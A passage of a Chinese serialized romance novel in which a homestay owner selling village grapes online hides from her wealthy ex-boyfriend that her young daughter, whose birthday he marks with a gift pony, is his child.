“博主求购买链接,看着太诱人了!” “葡萄还有嘛?想给爸妈也寄一点。” “能发快递吗?坐标京市。” “……” 手机的信息提示音从早响到晚,温昭宁立刻去找葡萄园的王叔,王叔那边的葡萄量远远不够,王叔又去找村长商量。 村长听到这个好消息,激动的声音都在抖:“好好好,我现在就安排人去村上采摘,挑选品质最好的葡萄给网友们发出去,有了网上这一条销路,我们的葡萄终于不用滞销了!” 订单像雪花片一样从全国各地飞来。 温昭宁干劲十足,她每天都帮着统计订单、联系物流,忙得脚不着地。 村里的乡亲们也是,每天起早贪黑,按照订单要求,精心挑选每一串葡萄,用定制的泡沫网套仔细包裹,送入纸箱。 终于,在周六下午,他们把第一批订单稳稳当当地寄了出去。 温昭宁看着葡萄都装车运走,她才从葡萄棚回到了民宿。 这几天,她很少回民宿,都是边雨棠在处理民宿的大小事情,她也因此好几天没见着贺淮钦了。 其实她不见他,并不会刻意想起他。 可忙完静下来,想到要回民宿,她脑海里第一个蹦出来的画面,是他坐在小院里办公的画面。 习惯真是个可怕的东西。 贺淮钦每天往那里一坐,就像是给她的记忆种蛊。 -- 温昭宁的小毛驴刚在民宿小院的门口停下,就听到了女儿青柠的笑声。 这笑声清脆又欢乐,是独属于孩子无忧无虑的笑声。 温昭宁心一紧,青柠来了? 贺淮钦每天在院子里,他们不会见面了吧? 这个念头一闪过,温昭宁赶紧下车跑进院子。 可惜,晚了。 青柠这会儿,正和贺淮钦在一起。 小院中的秋千架上,青柠穿着粉粉的连衣裙,梳着两个可爱的羊角辫,正随着秋千高高地荡起。 风鼓起她的裙摆,她笑得眉眼弯弯,小手紧紧抓着秋千绳,嘴里发出兴奋的“哇——哦——”声。 而站在秋千后方,正稳稳有节奏地推动着秋千的,不是别人,正是贺淮钦。 贺淮钦背对着院门的方向。 也许是为了方便和孩子玩耍,他脱掉了那件风衣外套,只穿着一件黑色的衬衫。 虽然他的手受伤了,但他推秋千的动作并不敷衍,每一次推动都带着恰到好处的力道,既让青柠感受到飞起来的快乐,又能稳稳地将秋千控制在一个安全的幅度内,他的目光始终追随着秋千上那个小小的身影,每当秋千荡到最高点,他的手臂会下意识地张开,形成一个虚扶、保护的姿势,仿佛随时准备接住可能发生的意外。 阳光勾勒出他宽阔的肩背和带笑的侧脸线条,他平日里那份冷峻疏离的气质,在此刻荡然无存,只剩下小心翼翼的温柔。 “贺叔叔再高一点点!一点点就好!”青柠笑着喊道,声音里满是信赖。 “好,抓紧咯!” 贺淮钦稍稍加了一点力,秋千荡起的弧度又大了些,惹得青柠又是一阵惊喜的欢呼。 “哇哦,我飞起来咯,我飞起来咯!” “青柠真棒!” 温昭宁站在院门口,看着这温馨的一幕,心脏像被一只温暖而潮湿的手掌轻轻地攥住了,酸胀地发疼,却又奇异地涌上一股暖流。 青柠眼尖,看到了站在阴影里的温昭宁。 “妈妈!妈妈你看!贺叔叔推我荡秋千!我飞得好高啊!”青柠兴奋地大喊着。 贺淮钦听到青柠的喊声,推秋千的动作微微一顿,随即转过脸,朝温昭宁看过来。 四目相对。 温昭宁先不自在地挪开了目光。 “是哦,妈妈看到了,青柠真的飞得好高哦。”温昭宁朝他们走过去。 贺淮钦拉停了秋千的绳子,青柠从秋千上跳下来,飞扑进温昭宁的怀里:“妈妈,你忙完了吗?” “忙完了,宝贝。对不起哦,这几天妈妈太忙,都没有时间陪你。” “没关系的妈妈,刚刚贺叔叔陪我玩了好久。” “外婆呢?” “外婆在楼上帮忙搞卫生,我下来喝水,在院子里看到了贺叔叔,就找贺叔叔一起玩啦。”青柠眨巴着眼,怕温昭宁生气,又赶紧解释,“妈妈,我不是和陌生人玩,这位贺叔叔我们之前在沪城见过的,我们还在贺叔叔家睡过觉呢,我猜他一定是妈妈的好朋友,我才找贺叔叔玩的。” 温昭宁一愣。 青柠又歪着头和她确认:“妈妈,你和贺叔叔是好朋友吧?” 这…… 温昭宁看了贺淮钦一眼。 “是的,青柠,叔叔和你妈妈是好朋友。”贺淮钦蹲下来与青柠平视,“今天之后,叔叔和青柠也是好朋友了,好不好?” “好啊好啊!太好了太好了!妈妈,我又多了一个好朋友!”青柠激动。 温昭宁心头惴惴,但又不想扫青柠的兴,只能笑着说:“那恭喜青柠了哦。” “贺叔叔,你等一下,我送你个小礼物。”青柠说着,就跑开了。 秋千架旁边,只剩下了温昭宁和贺淮钦两个人。 贺淮钦打量温昭宁一眼,几天不见,她眉宇间多了几分疲倦,一看,就是没休息好。 “葡萄都打包好发走了?”贺淮钦问。 “嗯,贺先生怎么知道?” “我当然知道,我可是温老板的粉丝。” 温昭宁才不相信他这样的大忙人有空刷她的视频:“贺先生说笑了。” “你不信?” 温昭宁沉默,表情代表了一切。 “我真的是你的粉丝,你的每个视频我都看过。”贺淮钦指着秋千架的位置,“这里本来是棵橘子树,但一年四季只开花不结果,你就找人把它砍了,还有我办公的那个位置,那棵枣树你原本也不想要,但尝了一下枣树结的枣子,因为枣子很甜,你就把它留下了。” 温昭宁惊,这些细节她只在最开始的某个视频中提到过,他都能一一说出来,他这是真刷过她的视频。 可他为什么要刷她的视频? 他又是什么时候关注她的账号的? 难道,自从他们分手后,他就一直在关注着她? 温昭宁的平静的心湖再次泛起波澜。 “看来贺先生真的看过我的视频,谢谢贺先生捧场。” “为什么把我剪掉了?” “什么?” “葡萄园那期,明明我也入镜了,为什么视频里没有我?” 葡萄园那期视频更新后,贺淮钦逐帧寻找自己,但连看三遍视频,都没有找到自己的身影,他这才意识到,他被温昭宁一剪没了。 呃…… 温昭宁不知道该怎么回答了。 去葡萄园的那天,贺淮钦的确入镜了,但鹿鹿拍的是温昭宁给他包扎伤口的那一段,那一段视频,无论是光影还是两人面对面的角度,都太暧昧了。 贺淮钦都快订婚了,万一视频被他未婚妻或者认识的人刷到,那样影响不好,温昭宁考虑过后,最终还是剪掉了。 “不好意思,我没有注意到。”温昭宁随便找了个借口。 “那该怎样才能让你注意到我?”贺淮钦向她靠近一步,眼神炽热地望着她,“你教教我。” 他这是在向她求关注? 温昭宁被他深邃的眼眸盯得有点不淡定了,幸好,青柠又跑了过来。 “贺叔叔,我送你一张贴纸吧。”青柠拿着一张小马宝莉的贴纸,递给贺淮钦,“这是我最喜欢的小马宝莉贴纸,我只送给过我幼儿园的好朋友一张,另一张我送给你哦。” 第58章 生日礼物 阳光穿过树叶的缝隙,落在青柠仰起的小脸上。 贺淮钦低头对上青柠的眼眸,她黑葡萄一样的眼睛里,带着对他纯然的喜欢。 他的心头泛起一种奇异的酥酥麻麻的感觉。 “谢谢青柠。”贺淮钦双手接过青柠送给他的贴纸。 可能是从来没有收到过这样特别的礼物,贺淮钦冷峻的脸上闪过一丝近乎无措的怔忪。 “贺叔叔,你可以把这张贴纸贴在你常常能看到的地方,这样你看到贴纸就会想起我啦。”青柠贴心提示。 “好。” 贺淮钦毫不犹豫,直接掏出了手机。 他不会是想把贴纸贴在手机壳上吧? 温昭宁刚这样想,下一秒,贺淮钦真的撕下贴纸,将它贴在了手机壳上。 贺淮钦的手机壳是一款线条冷硬、材质特殊的深灰色手机壳,一看就是价值不菲的定制款,手机壳外壳很光滑,没有任何装饰,透着一种冰冷的科技感,小马宝莉的贴纸端端正正地贴在中央,与这定制手机壳形成了无比强烈的对比……就像在冷硬的钢铁上,开出了一朵柔软娇嫩的小花,很违和,却又莫名温暖。 “哇,叔叔贴上了,真好看!”青柠高兴地拍起小手,但下一秒又开始担心,“贺叔叔,你贴着这样的贴纸去公司上班,你的同事不会笑你幼稚吗?” 青柠问出了温昭宁不敢问的问题。 她真的难以想象,贺淮钦的客户和律所的员工看到贺淮钦手机上贴着这样的贴纸,会作何感想。 “青柠放心,叔叔上班的地方,没有人敢笑叔叔。”贺淮钦宽慰青柠。 “所以叔叔你和妈妈一样是老板吗?” 贺淮钦看温昭宁一眼:“差不多,但没有你妈妈厉害。” 温昭宁默然,贺淮钦真是抬举她了。 她的民宿加上她自己才几个人,贺淮钦的律所遍布全球,她怎么可能比他还厉害。 青柠不懂大人之间的抬举恭维,她只觉得贺淮钦夸到她心坎上去了,她立刻点头:“那当然了,我妈妈是最厉害的,她做什么都能做得很好,妈妈是青柠的偶像,青柠长大了要变成妈妈那样厉害的人!” 温昭宁被青柠夸得脸都红了。 “好了,我们不打扰叔叔工作了。”温昭宁牵住青柠的小手,对贺淮钦说,“贺先生,今天谢谢你陪青柠玩。” “不客气。”贺淮钦伸手,轻轻地揉了一下青柠的小脑袋,“她很可爱很乖。” 温昭宁对贺淮钦点了点头,就拉着青柠走进了大厅。 青柠显然还意犹未尽,一步三回头地朝贺淮钦挥手再见,直到贺淮钦坐下开始工作,她才收回目光。 “妈妈,我好喜欢贺叔叔。”青柠对温昭宁感慨,“我从来没有见过像贺叔叔这样又帅又有耐心的人,如果贺叔叔是我的新爸爸,那就好了。” 温昭宁一僵。 难道真的是血缘牵连吗?青柠才和贺淮钦见过几次,这已经是她第二次提到想让贺淮钦做她的新爸爸了。 可惜,贺淮钦马上会有自己的家庭,青柠的愿望永远不可能实现。 “青柠宝贝,妈妈最近特别特别忙,妈妈现在只想好好工作,给青柠和外婆创造更好的生活条件,其他的事情,妈妈暂时不考虑哦。” “没关系的妈妈,我支持妈妈好好工作,找新爸爸的事情,我只是随口说说而已,反正贺叔叔已经是我的好朋友啦,好朋友才长久呢,一百年,不会变。” 在经历过陆恒宇那个坏爸爸后,对青柠来说,好朋友是比爸爸更稳固的存在。 温昭宁有些心疼青柠,不想惹她难过,赶紧换话题:“青柠马上要生日了,有没有想好今年要什么口味的生日蛋糕啊?” “巧克力,妈妈,我真的巨想吃巧克力味的蛋糕。” 青柠有鼻炎,平日里吃冷吃甜都被温昭宁限制着,一年一次的生日,便是她的放纵时刻。 “好,那妈妈就给你买巧克力口味的蛋糕。” “妈妈,我还有一个小小的愿望。” “什么愿望?” “我想邀请贺叔叔来和我一起吃蛋糕。”青柠抓紧了温昭宁的手,“幼儿园的好朋友太小了不能来陪我过生日,但是贺叔叔已经是大人了,而且他就在你的民宿里,离我们家很近,我想和他一起分享蛋糕,毕竟,他现在也是我的好朋友了,妈妈,好不好嘛?好不好嘛?” 青柠软糯糯的小脸上满怀期待,温昭宁实在不忍拒绝。 “妈妈同意,可贺叔叔也不一定有空。” “那你明天帮我问问他。” “好。” -- 青柠连夜自己画了一个生日会的邀请函,塞在温昭宁的外套口袋里,要温昭宁去民宿看到贺淮钦的时候转交给他。 温昭宁到了民宿才打开。 邀请函的纸张上,歪歪扭扭画着彩色的气球和蛋糕,蛋糕旁边画了好多小人儿,温昭宁仔细数了数,一共八个人。 她按照自己家里的人头对了对,算上她,她母亲,边雨棠,舅舅舅妈,壹壹和青柠自己,一共是七个人,那多出来的一个,应该就是贺淮钦。毕竟,姚志修已经搬出去住很久了,青柠最近画一家人的时候,都没有带上他。 这张邀请函虽然线条歪扭,色彩夸张,却透着孩子的真诚和期盼。 温昭宁拿着这张轻飘飘又沉甸甸的邀请函犯了难,她这样贸然去邀请贺淮钦,会不会有点太唐突?而且,贺淮钦应该对小孩子的生日会毫无兴趣吧?万一他拒绝,青柠一定会很失望的。 就这样犹犹豫豫,直到傍晚,夕阳将庭院染成一片暖金色,温昭宁都还没把邀请函送出去。 倒是贺淮钦,发现她不对劲,自己送上门来了。 “你是不是有话要对我说?”他直截了当地问。 “你怎么知道?” “你今天一天看了我不下二十回。”平时就算她从他身边经过,也根本不会多看他一眼。 温昭宁偷看被抓包,有点不好意思,但转念一想,他不看她,又怎么知道她看他呢? “是这样的,青柠要生日了,她想邀请你来和她一起吃蛋糕。”温昭宁从外套里掏出青柠自己的画的邀请函,递给贺淮钦,“这是青柠自己的画,她托我转交给你。” 贺淮钦接过邀请函,看了一眼。 “这群人里哪个是我?”他问。 温昭宁没想到贺淮钦拿到邀请函的第一件事竟然是好奇这个。 她重新认真地观察起邀请函上的那八个小人儿,青柠平时就很爱画画,每次画家里人的时候,都会给每个人安排专属的标志,温昭宁大概知道谁是谁。 “这个戴皇冠的是青柠,你应该是这个吧。”温昭宁指着青柠左手边的短发小人儿。 “那哪个是你?”贺淮钦又问。 温昭宁一眼认出自己是青柠右手边穿着高跟鞋的小人儿:“我是这个。” 贺淮钦仔细地看了一眼,得出一个结论:“我们三个人牵着手。” 温昭宁深吸一口气。 她刚才没注意,贺淮钦一提醒,还真是! 从青柠的画上看,他们好像站在C位的一家三口啊。 “不好意思贺先生,小孩子随便画的。”温昭宁尴尬地解释,“你不要介意。” “我不介意。”贺淮钦说。 “那你……周六有空吗?” “你希望我去吗?”贺淮钦不答反问。 温昭宁有点被问住了,青柠邀请贺淮钦,那代表青柠的意思,小孩子天真烂漫,邀请谁都没有歪心思,但大人就不一样了,大人要权衡的东西,比孩子多得多。 如果真的要问她的意思,她当然不希望贺淮钦过多的介入青柠的生活。 “我……” “无论你希不希望,我都会去的。”贺淮钦抢在温昭宁前头回答,“帮我转告青柠,我会准时到。” 温昭宁:“……” 那还问她的意见干什么? -- 贺淮钦回到房间后,第一时间给陈益打电话。 电话接通后,陈益向往常一样向贺淮钦汇报工作:“贺律,你要的欧洲市场第三季度分析报告我已经发到你邮箱了,另外,明天……” “陈益。”贺淮钦打断了陈益的话,“你知道小马宝莉吗?” 陈益那头陷入长达五秒的寂静。 “贺律,你说什么?”陈益以为自己听错,或者是信号出现了什么诡异的干扰,他下意识地看了一眼手机屏幕,确认和他通话的是自家老板。 “我说,小马宝莉。” “小马宝莉?”陈益大脑飞速运转,试图将这四个字和什么商业隐喻,项目代号或者高端暗语连接起来,可惜,全部连接失败,“抱歉贺律,我从来没有听说过。” 也是。 陈益未婚未育,家里没有孩子,自然不知道这个动画片。 “你现在去了解一下,然后,无论用什么办法,三天之内,买到一匹类似的小马,运送到悠山。” “买马?是那种会动的小马吗?”陈益作为一个年薪七位数,精通三门外语,能同时处理五个跨国项目的顶级助理,第一次觉得自己是如此无助,“这匹小马必须要叫宝莉吗?” “陈益,你最近问的问题越来越离谱了。”贺淮钦说。 陈益无言。 这能怪他吗,分明是老板自己越来越离谱好吧。 因为搬家找到一对袖扣,就直接跑到深山老林里去了,还美其名曰“静修”,搞得谁不知道他去找温小姐一样。 你说他追妻就追妻吧,可重要决策一个都不落,每天视频会议照开,邮件照常批,需要签字的紧急文件还得陈益每天安排专人专车往返送递,搞得陈益那是一个头两个大。 今天还忽然来个电话,让他买个小马宝莉,但又不是叫宝莉的小马。 苍天啊,到底谁离谱? 这吐槽归吐槽,可谁让人家是老板,而他是牛马呢。 “我错了贺律,我现在先去了解小马宝莉的知识,随后安排买马。” -- 周六。 温昭宁在民宿前院的草坪上布置了一个小小的生日舞台。 她原本打算在家里简单地给青柠过一个生日,但考虑到贺淮钦也要参加,去家里不太方便,所以干脆就把生日聚会设在了民宿的小院里。这样,鹿鹿、保洁阿姨和其他客人也能吃到青柠的生日蛋糕。 青柠今天穿着雪白的公主裙,戴着一顶闪亮的皇冠,早早就在等着贺淮钦的到来。 贺淮钦平日里这个点都已经在院子里办公了,但今天他一大早就出去了,也不知道是去哪里,一直没回来。 青柠等的有点心焦了,一直缠着温昭宁,问她:“妈妈,贺叔叔怎么还不来?你有没有把我的邀请函给他?” “给了宝贝,贺叔叔答应了会陪你一起吃蛋糕,就一定会来的。” 温昭宁话音刚落,就听到院门口有人喊了一声:“青柠!” 是贺淮钦的声音。 温昭宁和青柠闻声,同时转过头去。 贺淮钦立在院外,他今天穿着一件浅蓝色的牛仔衬衫,搭配简单的卡其色长裤,看起来比平时更休闲。 “贺叔叔!”青柠朝贺淮钦飞奔过去。 “生日快乐,青柠。”贺淮钦蹲下来,从口袋里拿出一个丝绒小盒子,“这是给你的礼物。” 青柠好奇接过来,打开,盒子里是一条细细的、缀着淡紫色水晶小马的项链。 紫色是《小马宝莉》中紫悦公主的代表色。 “哇!”青柠惊喜,“好漂亮!是紫悦!” “喜欢吗?” “超级喜欢!”青柠把项链挂到脖子里,“谢谢贺叔叔的礼物。” 贺淮钦看着青柠开心的样子,眼底更柔软了几分:“叔叔还有礼物给你。” “还有?” “嗯。走,带你去看看。”贺淮钦牵着青柠走到田边。 田边,一个中年男人牵着一匹小马驹正冲青柠笑。 那是一匹非常漂亮的小马驹,通体雪白,额前有一小块菱形的金棕色印记,像颗小星星,小马驹尾巴修剪得整齐飘逸,个头不大,正好适合小孩子。 “青柠,看到了吗?那匹小马,也是叔叔送你的礼物。” “哇!”青柠双眸发光,“是真的小马!” 真的小马? 温昭宁听到青柠的惊呼声,赶紧跑出小院去查看。 看到那匹漂亮小马驹的刹那,她捂住了嘴。 贺淮钦疯了吧?他从哪来找来这么一匹萌萌的小马驹? 别说青柠看了喜欢,她看了心都要融化了! “老赵。”贺淮钦对牵马的那个中年男人使了个眼色。 老赵将小马驹牵到青柠面前,将缰绳放到青柠的小手里。 “青柠小姐,这是贺先生送给你的小马,它叫星星,性格很温顺,所有疫苗也都打齐了,星星的健康证明和血统文件,我稍后会转交给你妈妈,以后,我会定期过来帮你照顾它,也会教你骑马。” 第59章 门面担当 青柠很喜欢星星,但她也知道,这礼物太过珍贵,不是她一个小孩子能决定收或者不收的。 “妈妈,贺叔叔送我一匹小马……”青柠看向温昭宁,眼神请示她是否可以收下。 “青柠,你先去找壹壹哥哥玩一会儿,妈妈和贺叔叔聊几句。” “好的。” 青柠听话地往民宿小院里走,边走边回头,依依不舍地看着星星。 “贺先生。”温昭宁走到贺淮钦身边:“你的这份礼物太贵重了,我们不能收下。” 她说了“我们”,将自己的态度也明确包含在了其中。 “一匹小马而已。”贺淮钦淡淡开口,“这不算什么。” 他说得轻描淡写,仿佛在讨论一件随手可得的寻常物件,可温昭宁知道,这匹小马驹绝对不是普通人光有钱就能轻易买到的。 这对贺淮钦来说可能真的只是一笔微不足道的开销,但对于她和青柠来说,她们收得起,也未必养得起。 “贺先生,这不是价值的问题,小马驹是活生生的生命,收下它就意味着长期的责任和照料,我太忙了,没有时间帮助青柠照料小马,青柠又太小了……” “你考虑的问题我都已经考虑过了,马厩、草料、照料和后续所有的事情,我都已经安排妥当。”贺淮钦指了指老赵,“老赵是本地人,他是专业的养马师,他会处理好星星的所有事。” 送匹马还专门配一个养马师。 这份礼物更让人无所适从。 “贺先生……” “温老板。”贺淮钦语气比刚才重了些,“我送青柠小马,是因为她喜欢,仅此而已,不要用你的顾虑,去阻拦她应有的快乐。你只要记得这匹小马叫星星,它是属于青柠的,这就够了。” “可是……” “你回头看看。”贺淮钦朝温昭宁使了个眼色。 温昭宁微微侧头,看到青柠其实并没有去找壹壹玩,她一直躲在小院门口的柚子树下,遥遥看着星星。 “青柠很喜欢星星,就让她开心地度过这个生日,不好吗?” 温昭宁最终还是被贺淮钦说服。 她不想和贺淮钦有任何瓜葛,但也舍不得青柠不快乐。 “谢谢贺先生,你破费了。” 贺淮钦没有再回应这句客套的感谢,他转身,朝青柠招招手。 “青柠!快过来!妈妈已经同意你收下这份生日礼物了!” “妈妈,是真的吗?”青柠看向温昭宁确认。 “真的宝贝。”温昭宁对青柠笑,“快过来谢谢叔叔。” 青柠“哒哒哒”跑到贺淮钦的面前,仰起头向他道谢:“谢谢叔叔,我太喜欢星星了,我要和星星也做好朋友!” 贺淮钦摸摸青柠的小脸颊:“青柠喜欢就好。” 青柠顺势抓住了贺淮钦的手。 “叔叔,我们一起去看星星吧。”她说完,另一只手又牵住了温昭宁,“妈妈也一起去。” 他们三个人手牵手? 这不就是青柠画上的那一幕吗? 温昭宁下意识想挣开,可青柠却握得很紧。 “妈妈,怎么了?”青柠大大的眼睛里是单纯的不解。 贺淮钦的视线也跟着青柠一起朝她看过来。 温昭宁无措。 这份类似一家三口的温馨,美好得令人心颤,却也虚幻地让她害怕,就像指尖触碰到一个温暖却易碎的肥皂泡,既贪恋那片刻的光彩,又恐惧它下一秒即刻破裂。 “没……没怎么。” “那我们一起去看星星吧。” “好。” -- 青柠对星星的爱意,以惊人的速度蔓延到了贺淮钦的身上。 那一整个下午,青柠都黏着贺淮钦。 晚上,大家一起唱完生日歌,当温昭宁拿起切蛋糕的塑料刀,准备让青柠象征性地切下第一刀时,青柠忽然扭身,去把站在人群最外围的贺淮钦拉了过来。 “贺叔叔,你和我一起切蛋糕。” 贺淮钦显然也没有料到这一出,他眼中闪过一丝诧异,但还没来得及拒绝,人已经被青柠拉到了蛋糕前。 于是,切蛋糕的画面,再次对上了青柠的那幅画,他们“一家三口”稳站C位,成了全场的中心。 蜡烛被吹灭,掌声和欢呼声中,青柠扬起笑脸,神秘兮兮地说:“贺叔叔,我许了三个愿望,其中一个愿望与你有关哦。” “什么愿望?”贺淮钦问。 “我不能把愿望说出来,说了就不灵了。” 青柠说完,又贼兮兮地看了一眼温昭宁。 知女莫若母,温昭宁不用猜也知道,青柠说的这个愿望,一定和新爸爸有关。 蛋糕被分成小块,温昭宁给民宿的每个房间也都各送了一块,等她送完蛋糕下来,青柠又拉着贺淮钦去玩秋千了。 “昭宁姐,青柠和贺先生关系也太好了吧。”鹿鹿看着秋千架上拉着贺淮钦的手咯咯直笑的青柠,幽怨地感慨道:“我真羡慕青柠啊,贺先生的手想迁就牵,贺先生的腿想坐就坐,累了张开双手,贺先生就会弯腰抱她。” 温昭宁笑了声:“你往回倒退,再小二十岁,你也能享受这待遇。” “我再小二十岁也没有用啊,贺先生就是和青柠投缘,别的小孩,未必能入他的眼。”鹿鹿看着两人,“不过话说回来,青柠的眉眼仔细看和贺先生还真有几分像呢,尤其是鼻梁和嘴巴的轮廓。” 鹿鹿的话,像一道猝不及防的惊雷,劈在了温昭宁的耳膜上。 她猛地抬起头,目光望向秋千架旁的那两个人。 贺淮钦正低头,听青柠手舞足蹈地说着什么,两人都侧着脸,那侧脸轮廓,简直是复制粘贴级别的。 “可能长得好看的人都是相似的,长得难看的人却各有特色吧。”鹿鹿自嘲地笑起来,完全没有再往深了想,可温昭宁还是瞬间失了神。 她的目光慌乱地扫过周围谈笑的人,只觉得那些模糊的笑脸和声音都变成了充满威胁的背景噪音,每一道望向秋千架的目光,都让她心惊肉跳。 温昭宁指尖冰凉,微微颤抖着,往廊柱上靠了靠,才勉强缓过来。 “青柠!”温昭宁走到秋千架旁,将青柠从秋千架上抱下来,“你今天已经和贺叔叔玩了半天了,贺叔叔工作很忙的,我们不耽误他的时间了好不好?” 青柠意犹未尽地看了看贺淮钦:“好吧,贺叔叔,那我们改天再一起玩。” 贺淮钦点头:“好。” -- 生日聚会结束了。 温昭宁带着母亲和青柠一起回家,今天她不用值班,可以陪青柠睡觉,青柠很高兴。 “妈妈,星星以后真的是我的小马了吗?”青柠洗完澡躺在床上,对自己拥有了一匹小白马这件事还有点不敢相信。 “是的宝贝,星星以后就是你的小马了,你是它的主人,你得照顾好它哦。” “放心吧,我明天就去找赵伯伯,让他教我怎么照顾小马。” “宝贝真棒,妈妈相信青柠一定能做好的,现在乖乖睡觉了好不好?” “好的,晚安妈妈。” “晚安。” 青柠兴奋了一天,静下来后,很快就睡着了。 温昭宁替青柠盖好毯子,坐在床边,看着她的睡颜,眉宇间藏着一丝挥之不去的沉重。 卧室的门忽然被轻轻推开。 温昭宁回头,看到母亲姚冬雪正轻手轻脚地进来。 “青柠睡了吗?”姚冬雪轻声地问。 “睡着了。” 姚冬雪点点头,又对温昭宁说:“你还没要睡吧,出来,我们聊聊。” 温昭宁跟着母亲轻轻走出卧室,关上了房门。 “怎么了,妈?” “今天那位贺先生……”姚冬雪的声音带着一种小心翼翼的试探,“他和你……他和青柠……就是你们……” 姚冬雪斟酌着措辞,却又不知道该怎么问才对,反反复复许久,也没有敢把心里想问地问出来。 温昭宁自然知道母亲想问的是什么,连神经大条的鹿鹿都能看得出来青柠和贺淮钦长得像,更何况是和青柠朝夕相处的母亲呢。 “妈。”温昭宁侧过身,面对着母亲,“你还记得我嫁给陆恒宇之前,谈过一个男朋友吗?” “当然记得,我听你妹妹提过,说是那个男生长得特别帅,是法学院的校草……”姚冬雪说着,忽然反应过来,“你当初的那个男朋友就是这位贺先生?” “嗯,他叫贺淮钦,是慧姨的儿子。” “他是文慧的儿子?你当初是和文慧的儿子在谈恋爱啊。”姚冬雪恍然大悟,“难怪当初你爸说要把你嫁进陆家的时候,文慧吓得打碎了一个碗,她早就知道你们在谈恋爱?” 温昭宁点头。 “那青柠?” “青柠是我和贺淮钦的孩子。” 姚冬雪惊得往后退了一步:“怎……怎么会这样?” “我结婚后才发现,我已经怀了贺淮钦的孩子,正好陆恒宇那方面不行,生不了孩子,他怕被人落了口舌,就让我把孩子生下来,假装是他的。” “怎么会这样?” 温昭宁苦笑:“妈,你只有这一句台词吗?” “不是……我的意思是陆恒宇怎么会生不了孩子呢?” “这是重点吗?” “我就是好奇。” “谁知道呢,可能是陆家坏事做多了,报应吧。” “也是,这个陆恒宇真是坏得透透的,当初就是他看上了你,非要强娶,对你爸威逼利诱,偏你爸也是个没良心的……”姚冬雪说起自杀身亡的丈夫,眼底没有一点伤感只有无尽的恨,“他就是个没良心的,先是舍了你去联姻给他换利益,生意失败后又想骗我和你妹妹给他背债,最后东窗事发,实在没办法了就自己一死了之,什么烂摊子都丢给我们……” 姚冬雪说着,眼泪落下来。 她握着温昭宁的手:“你也真傻,当初你就该一走了之别回来的,如果你当初和他走了,你们一家三口得有多幸福。” 温昭宁沉了一口气:“可能是我和他缘分不够。” “如果缘分不够,你们也不会重逢了。我看他对你似乎还有意思,你呢,你还喜欢他吗?” 温昭宁没有回答母亲的问题,只是说:“妈,他要订婚了。” “什么?他要订婚了啊。”姚冬雪遗憾,“我原本瞧着他对青柠也不错,我还想着你们若是能复合,给青柠一个完整的家就好了。” “妈,我们不可能了,我不想让他知道青柠的身世,影响他原有的生活。当然,我更害怕的是万一他知道青柠的身世,如果要和我抢青柠,我一定抢不过他的。” “啊,那怎么办啊?” “他在民宿订了一个月的房间,一个月后他就会走,这段时间,你尽量别再带着青柠来民宿了。” “好。” -- 青柠的生日之后,姚冬雪就没有带着青柠再去过民宿。 温昭宁掐算着日子,还有九天,贺淮钦就要退房了,只要熬过这九天,警报就能解除,一切都能恢复如初。 之后,贺淮钦回沪城订婚,而她继续在悠山创业,他们这一辈子,都会是两条不相交的平行线。 第一批葡萄运送出去后,悠山葡萄园等于在网络上打开了一扇窗,订单虽然从爆炸式增长逐渐趋于平稳,但稳定的客源和“生态好葡萄”的口碑已经初步建立,农户不需要再发愁葡萄的销路了。 温昭宁趁热打铁,又开始琢磨着如何将这股势头延伸到村里其他的优质农产品上,比如后山的竹笋、村上阿婆手工制作的霉豆腐、散养的土鸡蛋等等。 她还没有理出头绪,镇上的领导和她不谋而合,镇里领导特地给她派来一位大学生村官,配合她的短视频拍摄,帮扶悠山村振兴产业,推广农产品。 镇里的领导显然也是透彻研究过自媒体流量的,据说派来的这位大学生村官庄璟奕是镇里的门面担当,不仅颜值高,身材更是好。 周一上午,温昭宁在村委办公室见到了庄璟奕。 庄璟奕的确不愧是门面担当,他不但面容英俊,个子还高,皮肤是健康的小麦色,笑起来一口整齐的白牙,整个人阳光爽朗,却又不过分张扬。 两人和村干部简单地开了个会,商量了接下来的工作安排,会后,庄璟奕对温昭宁说:“昭宁姐,我经常刷你的视频,我很想去安宁小院看看,你能带我去参观一下吗?” “当然可以,我现在正好要回去拿份快递单,现在过去怎么样?” “好。” 温昭宁带着庄璟奕步行去了民宿,一进院子,就看到贺淮钦坐在院子里喝茶。 第60章 你们到底什么关系 茶香袅袅,贺淮钦坐在那里,周身散发的却是和这闲适庭院格格不入的低气压。 他老远就看到温昭宁了,和一个年轻高大的男人从田间走来。 那男人走在温昭宁身侧半步的位置,手里拿着一个笔记本,正兴致勃勃地说着什么,阳光给他麦色的侧脸镀上一层暖光,让他整个人看起来充满朝气和干劲。 温昭宁走在那男人的身边,脸上带着放松的笑意,她很认真地在听那个男人说话,偶尔点点头,或者开口补充。 两人有种同频的和谐。 “昭宁姐,你这小院子,比视频里看到的还漂亮。”庄璟奕一进院门,就指着院子里的枣树说,“我最喜欢的就是这棵枣树了,和我奶奶家的那棵长得特别像,看到它我就能想到小时候在奶奶家过暑假的画面。” “这棵枣树的确挺有年代感的。”温昭宁说,“而且枣子特别甜,下次你可以来尝尝。” “好啊。” 贺淮钦抿了一口茶,放下茶杯时,瓷器与石桌相碰,发出“嘭”的一声。 这一声轻响清脆却略显突兀。 温昭宁闻声朝贺淮钦看去,贺淮钦已经拿起了手边那份报告,他的侧脸线条冷硬紧绷,目光落在文件上,不予她分毫。 他好像在生什么闷气。 谁惹他了? 温昭宁带着疑惑穿过小院,趁着庄璟奕看秋千架的时候,她拉住了鹿鹿。 “今天有发生什么事吗?”温昭宁问。 “什么事啊?”鹿鹿不解。 温昭宁朝贺淮钦坐的方向使了个眼色。 “你是问贺先生啊?没发生什么事啊,他一上午都坐在那里办公,没和任何人说过话。” “好的,我知道了,你去忙吧。” 鹿鹿走开了。 温昭宁领着庄璟奕在民宿里逛了一圈,随后拿上快递单,又带着庄璟奕去了葡萄园,他们离开的时候,贺淮钦已经不在枣树下了。 这一忙又是一下午。 温昭宁忙起来,就忘了贺淮钦那张冷冰冰的脸了。 晚上,边雨棠有事,温昭宁回民宿值班。 她刚一走进院子,就见贺淮钦立在廊下。 “贺先生,晚上好。”温昭宁微笑着和他打了个招呼,正要从他身边擦身而过,贺淮钦忽然一把抓住了她的手臂。 气氛瞬间凝滞。 “贺先生,你这是干什么?” 贺淮钦看着温昭宁,他白天就注意到了,温昭宁穿了一条他没有见过的新裙子,裙子米白色的,衬得她的肤色更白,人也越发窈窕好看。 只是,她的好看和他无关。 “贺先生?”温昭宁眉头拧起来,“请问你有什么事,需要一直拉着我?” 贺淮钦眼见她脸上浮起愠色,立刻说:“我要买葡萄。” 他说完,松开了她的手。 